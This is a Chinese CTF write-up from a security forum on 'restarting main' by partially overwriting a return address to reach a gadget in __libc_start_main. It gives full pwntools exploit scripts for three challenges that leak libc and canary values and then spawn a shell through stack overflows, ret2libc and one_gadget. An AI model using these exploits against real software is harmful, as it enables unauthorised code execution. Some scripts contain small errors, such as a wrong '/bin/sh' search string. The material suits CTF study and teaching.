关于重启main函数学习分享
1747343513214731 发表于 安徽 CTF 756浏览 · 2024-11-18 03:21

0x01 前言

在我做过的题目当中,遇到了这种利用方法,在一些场景中用这个方法会很方便,当然要根据题目来,有一些题目会给出libc链接文件,而不给的话就只够自己去泄露查询了。这个方法主要是利用到了__libc_start_main 中的一个 magic gadget ,在有一些题目中,直接返回main函数的条件不满足的时候,就可以直接重启,从而再次调用程序了。
这里来看一下,在什么时候会用到这种方法,这里可以看到main函数只有一个read,是没办法直接泄露libc的,所以这里就会用到重启main函数了。

0x02 题目示例

小蓝鲨stack

可以看到只开启了 nx

再看反编译,很明显有个溢出,但是发现只有这一个输入,下面有一个 printf 根据printf 的特性,可以去泄露地址,然后来算基地址

但是为了解决只有一次读入的情况,所以用到了一个重启main函数的方法,首先用 ida 去打开题目的链接文件 libc 然后去找一个magic gadget ,这个gadget 是在libc start main当中的,因为是要通过call rax去执行,所以直接去找 rax 就可以找到这个 gadget 了

那我们应该怎么利用这个呢,就是通过修改尾字节 7c 这个时候就是会发现把main函数的栈地址赋值给了 rax ,那么下面的call rax的时候就会再次返回main 函数,就是重启main函数,可以再次调用一次read,就可以通过第一次泄露的地址来打libc了

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('27.25.151.12',28173)
elf = ELF('./ezstack')
libc = ELF('./libc-2.31.so')
rdi = 0x401293
ret = 0x000000000040101a
gadget = 0x2407C
payload = b'a'*0x20 + b'b'*8 + p8(0x7c)
p.send(payload)
p.recvuntil(b'bbbbbbbb')
addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = addr - gadget
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
payload1 = b'a'*0x28 + p64(rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) + p64(0)
p.sendline(payload1)
p.interactive()

这里最主要的就是替换尾部字节从而达成重启mian函数的目的。

PIE

这里可以看到是开启了pie

再来看一下,这里有一个 printf 可以用来泄露地址,read到 buf这里也是有溢出的,程序很简单

这里因为只有一次输入,想要泄露pie基地址的话要用到重启 main 函数了,这里在调试中就可以看到,函数执行完成以后,会到也是会到 __libc_start_call_main+122 的位置,会去执行里面的exit 退出,然后再利用 printf 函数去泄露 libc_start_main 的地址,再在题目给出的 libc 链接的文件中找到 magic gadget 就可以了,也就是替换尾字节 ,就可以重启main函数了

这里在给出的附件中找到call rax 上面的gadget的尾字节来替换

这里还需要去找rdi,在给出的题目文件中找不到就去libc文件当中去找

还需要去找 ret 的地址

把这些需要的指令找到以后,就可以写exp了

from pwn import *
context(os='linux',arch = 'amd64',log_level='debug')
p = remote()
libc = ELF('./libc.os.6')
payload = b'a'*0x108 + b'\x89'
p.send(payload)
p.recvuntil(b'a'*0x108)
gadget = 0x29D89
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - gadget
rdi = libc_base + 0x2a3e5
ret = libc_base + 0xbaaf9
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'\bin\sh'))
payload1 = b'a'* 0x108 + p64(rdi) + p64(bin_sh) + p64(ret) + p64(system)
p.send(payload1)
p.interactive()

MengxinStack

可以看到保护全开

再看主函数,发现有格式字符串的漏洞,可以用来泄露canary,但是接下来只有一次read了,还有libc的基地址还有pie的基地址没有拿到。所以这里还是要用到重启main函数的方法,这样的话就又有了两次read,就可以接着去泄露了

这里题目没有给出libc,所以要自己去找了,可以去某些网站中去查找,这里就不演示了,这里可以看到的返回地址是 libc_start_call_main+122 的地址就是 libc_start_main 的返回地址 ,就可以根据这个去查询libc 的版本

from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28187)
elf = ELF('./pwn')
context.log_level = 'debug'
payload = 'A'*0x29
io.send(payload)
io.recvuntil('A'*0x28)
canary = u64(io.recv(8))-0x41
payload = b'a'*0x28 + p64(canary) + b'a'*0x18 + b'\x04'
#gdb.attach(io)
io.send(payload)
payload = b'a'*0x28 + b'a'*0x8 + b'a'*0x18
io.send(payload)
io.recvuntil(b'a'*0x48)
libc_start_main = u64(io.recv(6).ljust(8,b'\x00'))-240
libc = LibcSearcher('__libc_start_main',libc_start_main )
libc_base = libc_start_main - libc.dump('__libc_start_main')
#0x45216 one_gadget libc6_2.23-0ubuntu10_amd64.so
one_gedget = libc_base+0x45216
payload = b'a'*0x28 + p64(canary) + b'a'*0x18 + p64(one_gedget)
io.send(payload)
#gdb.attach(io)
io.interactive()

0x03 总结

上面三个例题讲解了三个方面,只开启了nx保护,开了pie,保护全开的三种情况,运用重启mian函数的方法以后会简单很多。主要就是看题目给出的libc链接文件,如果没给的话就自己去查询,如果比赛的时候是本地的话也可以自己找一个在本地查询的去查询。

0 条评论
某人
表情
可输入 255